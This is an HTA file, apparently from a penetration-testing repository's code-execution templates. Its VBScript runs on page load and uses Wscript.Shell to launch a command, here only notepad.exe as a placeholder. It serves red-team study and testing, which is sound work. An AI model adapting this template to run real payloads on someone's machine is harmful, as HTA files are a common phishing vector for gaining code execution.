mgeeky-Penetration-Testing-.../red-teaming/code-exec-templates/wscript-shell-run-vbscript.hta

<html>
<head>
<script language="VBScript">
    Sub foo
    	command = "notepad.exe"
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run command
    End Sub
foo()
</script>
</head>
<body>
</body>
</html>